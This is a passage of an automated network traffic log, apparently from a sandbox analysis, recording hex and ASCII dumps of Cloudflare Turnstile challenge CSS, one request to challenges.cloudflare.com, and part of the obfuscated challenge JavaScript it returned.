2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 25 3b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 Data Ascii: %;margin:0;overflow:hidden;padding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-web
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 73 75 63 63 65 73 73 2d 70 72 65 2d 69 20 6c 69 6e 65 7b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 Data Ascii: ght:30px;width:30px}#success-pre-i line{stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;st
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e Data Ascii: allenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challen
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 Data Ascii: dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 7d 23 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 32 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 70 78 7d 2e 66 61 69 6c 75 72 65 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 Data Ascii: ,#challenge-overlay a:link,#challenge-overlay a:visited{color:#232323}#challenge-overlay a:active,#challenge-overlay a:focus,#challenge-overlay a:hover{color:#166379}#logo{height:25px;margin-bottom:1px}.failure-circle{stroke-dasharray:166;stroke-dashoffse
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 6e 3a 61 6c 6c 20 2e 31 73 20 65 61 73 65 2d 69 6e 3b 77 69 64 74 68 3a 32 34 70 78 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 38 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 63 62 2d 6c 62 20 2e 63 62 2d 6c 62 2d 74 7b 67 72 69 64 2d 63 6f 6c 75 6d 6e 3a 32 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 63 6f 6e 74 65 6e 74 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c Data Ascii: n:all .1s ease-in;width:24px;z-index:9998}.cb-lb .cb-i:after{border-radius:5px;content:"";position:absolute}.cb-lb .cb-lb-t{grid-column:2;margin-left:8px}.size-compact{font-size:14px}.size-compact #content{align-items:flex-start;display:flex;flex-flow:col
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 72 74 6c 7d 2e 72 74 6c 20 2e 63 62 2d 6c 62 2d 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 72 74 6c 20 23 65 78 70 69 72 65 64 2d 69 2c 2e 72 74 6c 20 23 66 61 69 6c 2d 69 2c 2e 72 74 6c 20 23 6f 76 65 72 72 75 6e 2d 69 2c 2e 72 74 6c 20 23 73 70 69 6e 6e 65 72 2d 69 2c 2e 72 74 6c 20 23 73 75 63 63 65 73 73 2d 69 2c 2e 72 74 6c 20 23 74 69 6d 65 6f 75 74 2d 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 Data Ascii: rtl}.rtl .cb-lb-t{margin-left:0;margin-right:8px;padding:0}.rtl #expired-i,.rtl #fail-i,.rtl #overrun-i,.rtl #spinner-i,.rtl #success-i,.rtl #timeout-i{left:255px}.rtl #fr-helper{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px
2024-09-30 17:20:26 UTC	1369	IN	Data Raw: 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 66 6f 63 75 73 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c Data Ascii: challenge-error-title a{color:#232323}#challenge-error-title a:active,#challenge-error-title a:focus,#challenge-error-title a:hover{color:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#chall

Timestamp	Bytes transferred	Direction	Data
2024-09-30 17:20:27 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cb5e237ab880f47&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-30 17:20:27 UTC	301	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 17:20:27 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117659 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8cb5e23bde21c32f-EWR
2024-09-30 17:20:27 UTC	1068	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 5a 4a 79 54 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qZJyT2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2024-09-30 17:20:27 UTC	1369	IN	Data Raw: 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 Data Ascii: %20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","testing_only":"Testing%20only.","invalid_domain":"Invalid%20domain.%20Contact%20the%20Si
2024-09-30 17:20:27 UTC	1369	IN	Data Raw: 61 72 73 65 49 6e 74 28 67 48 28 34 38 35 29 29 2f 31 31 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 32 35 31 33 31 34 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 37 32 37 29 5d 2c 65 4d 5b 67 49 28 32 38 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 67 55 2c 65 2c 69 29 7b 65 3d 28 67 55 3d 67 49 2c 7b 27 56 53 53 52 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 2c 27 42 46 61 58 69 27 3a 67 55 28 36 33 36 29 2c 27 59 41 6d 4f 6b 27 3a 67 55 28 31 35 31 32 29 7d 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 51 28 63 29 7d 63 61 74 63 Data Ascii: arseInt(gH(485))/11,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,251314),eM=this\|\|self,eN=eM[gI(727)],eM[gI(285)]=function(c,gU,e,i){e=(gU=gI,{'VSSRl':function(g,h){return g(h)},'BFaXi':gU(636),'YAmOk':gU(1512)});try{return eQ(c)}catc
2024-09-30 17:20:27 UTC	1369	IN	Data Raw: 27 3a 65 4d 5b 68 30 28 38 38 32 29 5d 5b 68 30 28 34 34 34 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 49 28 31 30 30 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 68 31 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 29 7b 6b 3d 28 68 31 3d 67 49 2c 6a 3d 7b 7d 2c 6a 5b 68 31 28 31 37 30 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 48 2c 49 29 7b 72 65 74 75 72 6e 20 49 21 3d 3d 48 7d 2c 6a 5b 68 31 28 31 30 37 39 29 5d 3d 68 31 28 31 36 32 37 29 2c 6a 5b 68 31 28 31 36 38 33 29 5d 3d 68 31 28 31 32 33 39 29 2c 6a 5b 68 31 28 31 35 32 33 29 5d 3d 68 31 28 31 30 35 35 29 2c 6a 5b 68 31 28 31 32 33 30 29 5d 3d 68 31 28 38 37 37 29 2c 6a 5b 68 31 28 31 34 38 34 29 5d 3d 68 31 28 35 33 34 29 2c 6a 5b 68 Data Ascii: ':eM[h0(882)][h0(444)]},'*'))},g)},eM[gI(1007)]=function(g,h,i,h1,j,k,l,m,n,o,s,x,B,C,D,E,F,G){k=(h1=gI,j={},j[h1(1700)]=function(H,I){return I!==H},j[h1(1079)]=h1(1627),j[h1(1683)]=h1(1239),j[h1(1523)]=h1(1055),j[h1(1230)]=h1(877),j[h1(1484)]=h1(534),j[h
2024-09-30 17:20:27 UTC	1369	IN	Data Raw: 65 61 6b 7d 7d 63 61 74 63 68 28 49 29 7b 7d 7d 2c 65 4d 5b 67 49 28 34 31 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 68 32 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 68 32 3d 67 49 2c 69 3d 7b 7d 2c 69 5b 68 32 28 31 33 31 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 69 5b 68 32 28 31 33 30 31 29 5d 3d 68 32 28 31 32 36 37 29 2c 69 5b 68 32 28 31 33 36 33 29 5d 3d 68 32 28 34 37 39 29 2c 69 5b 68 32 28 37 35 34 29 5d 3d 68 32 28 35 37 32 29 2c 6a 3d 69 2c 6b 3d 64 5b 68 32 28 31 31 35 31 29 5d 28 29 2c 6c 3d 68 32 28 35 35 37 29 2c 6b 5b 68 32 28 31 32 33 36 29 5d 28 6c 29 3e 2d 31 29 3f 65 4d 5b 68 32 28 31 33 38 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 33 29 7b 68 33 3d 68 32 2c 65 4d Data Ascii: eak}}catch(I){}},eM[gI(415)]=function(d,e,f,g,h,h2,i,j,k,l,m){(h2=gI,i={},i[h2(1312)]=function(n,o){return n+o},i[h2(1301)]=h2(1267),i[h2(1363)]=h2(479),i[h2(754)]=h2(572),j=i,k=d[h2(1151)](),l=h2(557),k[h2(1236)](l)>-1)?eM[h2(1382)](function(h3){h3=h2,eM
2024-09-30 17:20:27 UTC	1369	IN	Data Raw: 28 35 32 37 29 5d 26 26 63 5b 69 7a 28 31 34 32 30 29 5d 28 63 5b 69 7a 28 34 34 37 29 5d 28 65 2c 66 52 29 2c 64 29 29 66 61 28 29 3b 65 6c 73 65 20 69 66 28 63 5b 69 7a 28 31 33 30 36 29 5d 3d 3d 3d 69 7a 28 36 33 31 29 29 66 62 28 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 65 28 66 29 7d 2c 31 65 33 29 29 2c 66 56 3d 7b 7d 2c 66 56 5b 67 49 28 35 32 37 29 5d 3d 21 5b 5d 2c 66 56 5b 67 49 28 38 38 30 29 5d 3d 65 57 2c 66 56 5b 67 49 28 39 33 32 29 5d 3d 66 4a 2c 66 56 5b 67 49 28 31 36 32 39 29 5d 3d 66 4f 2c 66 56 5b 67 49 28 39 33 35 29 5d 3d 66 50 2c 66 56 5b 67 49 28 35 31 35 29 5d 3d 66 4b 2c 66 56 5b 67 49 28 31 30 30 31 29 5d 3d 66 51 2c 66 56 5b 67 49 28 35 32 30 29 5d 3d 66 4e 2c 66 56 5b 67 49 28 38 32 38 29 5d 3d 66 4d 2c 66 56 5b 67 49 28 33 Data Ascii: (527)]&&c[iz(1420)](c[iz(447)](e,fR),d))fa();else if(c[iz(1306)]===iz(631))fb();else return e(f)},1e3)),fV={},fV[gI(527)]=![],fV[gI(880)]=eW,fV[gI(932)]=fJ,fV[gI(1629)]=fO,fV[gI(935)]=fP,fV[gI(515)]=fK,fV[gI(1001)]=fQ,fV[gI(520)]=fN,fV[gI(828)]=fM,fV[gI(3
2024-09-30 17:20:27 UTC	1369	IN	Data Raw: 26 28 4a 3d 7b 7d 2c 4a 5b 69 48 28 31 37 30 35 29 5d 3d 69 48 28 37 32 36 29 2c 4a 5b 69 48 28 31 32 32 31 29 5d 3d 78 5b 69 48 28 38 38 32 29 5d 5b 69 48 28 31 37 31 35 29 5d 2c 4a 5b 69 48 28 31 35 32 38 29 5d 3d 6f 5b 69 48 28 32 36 38 29 5d 2c 4a 5b 69 48 28 35 33 30 29 5d 3d 42 5b 69 48 28 38 38 32 29 5d 5b 69 48 28 31 30 31 35 29 5d 2c 4a 5b 69 48 28 31 37 32 37 29 5d 3d 43 5b 69 48 28 38 38 32 29 5d 5b 69 48 28 34 34 34 29 5d 2c 46 5b 69 48 28 31 35 37 32 29 5d 5b 69 48 28 31 32 34 35 29 5d 28 4a 2c 27 2a 27 29 2c 4b 3d 7b 7d 2c 4b 5b 69 48 28 31 37 30 35 29 5d 3d 69 48 28 37 32 36 29 2c 4b 5b 69 48 28 31 32 32 31 29 5d 3d 45 5b 69 48 28 38 38 32 29 5d 5b 69 48 28 31 37 31 35 29 5d 2c 4b 5b 69 48 28 31 35 32 38 29 5d 3d 69 48 28 31 36 32 34 29 2c Data Ascii: &(J={},J[iH(1705)]=iH(726),J[iH(1221)]=x[iH(882)][iH(1715)],J[iH(1528)]=o[iH(268)],J[iH(530)]=B[iH(882)][iH(1015)],J[iH(1727)]=C[iH(882)][iH(444)],F[iH(1572)][iH(1245)](J,'*'),K={},K[iH(1705)]=iH(726),K[iH(1221)]=E[iH(882)][iH(1715)],K[iH(1528)]=iH(1624),
2024-09-30 17:20:27 UTC	1369	IN	Data Raw: 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6b 5b 69 49 28 31 34 31 35 29 5d 28 6f 2c 69 5b 6c 5b 6d 5d 5d 5b 69 49 28 39 32 33 29 5d 29 3b 6b 5b 69 49 28 38 37 32 29 5d 28 2d 31 2c 68 5b 6e 5d 5b 69 49 28 31 32 33 36 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 26 26 28 67 32 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 69 49 28 36 38 38 29 5d 28 6b 5b 69 49 28 31 36 36 31 29 5d 28 27 6f 2e 27 2c 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 49 28 31 34 31 38 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 2c 69 4a 29 7b 72 65 74 75 72 6e 20 69 4a 3d 69 49 2c 6b 5b 69 4a 28 31 36 36 31 29 5d 28 27 6f 2e 27 2c 73 29 7d 29 7d 2c 67 33 3d 66 75 6e 63 74 69 6f 6e 28 69 4b 2c 64 2c 65 2c 66 Data Ascii: [n]){for(o=0;k[iI(1415)](o,i[l[m]][iI(923)]);k[iI(872)](-1,h[n][iI(1236)](i[l[m]][o]))&&(g2(i[l[m]][o])\|\|h[n][iI(688)](k[iI(1661)]('o.',i[l[m]][o]))),o++);}else h[n]=i[l[m]][iI(1418)](function(s,iJ){return iJ=iI,k[iJ(1661)]('o.',s)})},g3=function(iK,d,e,f
2024-09-30 17:20:27 UTC	1369	IN	Data Raw: 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 67 4f 65 58 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 73 66 42 6a 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 41 59 6c 42 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 79 70 77 6e 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 69 4b 28 31 30 32 36 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 4c 29 7b 72 65 74 75 72 6e 20 69 4c 3d 69 4b 2c 64 5b 69 4c 28 38 34 31 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c Data Ascii: ion(h,i){return h!=i},'gOeXE':function(h,i){return h!=i},'sfBjx':function(h,i){return h&i},'AYlBJ':function(h,i){return h<i},'ypwnF':function(h,i){return h+i}},e=String[iK(1026)],f={'h':function(h,iL){return iL=iK,d[iL(841)](null,h)?'':f.g(h,6,function(i,
2024-09-30 17:20:27 UTC	1369	IN	Data Raw: 2c 49 3d 30 29 3a 4a 2b 2b 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 69 4e 28 31 34 38 39 29 5d 28 30 29 2c 78 3d 30 3b 38 3e 78 3b 49 3d 49 3c 3c 31 2e 38 35 7c 64 5b 69 4e 28 31 35 38 30 29 5d 28 4e 2c 31 29 2c 6a 2d 31 3d 3d 4a 3f 28 4a 3d 30 2c 48 5b 69 4e 28 36 38 38 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4e 3d 31 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 4e 28 34 33 33 29 5d 28 49 3c 3c 31 2c 4e 29 2c 4a 3d 3d 64 5b 69 4e 28 36 39 37 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 69 4e 28 36 38 38 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 69 4e 28 31 34 38 39 29 5d 28 30 29 2c 78 3d 30 3b 31 36 3e 78 3b 49 3d 49 Data Ascii: ,I=0):J++,x++);for(N=D[iN(1489)](0),x=0;8>x;I=I<<1.85\|d[iN(1580)](N,1),j-1==J?(J=0,H[iN(688)](o(I)),I=0):J++,N>>=1,x++);}else{for(N=1,x=0;x<G;I=d[iN(433)](I<<1,N),J==d[iN(697)](j,1)?(J=0,H[iN(688)](o(I)),I=0):J++,N=0,x++);for(N=D[iN(1489)](0),x=0;16>x;I=I

Timestamp	Bytes transferred	Direction	Data
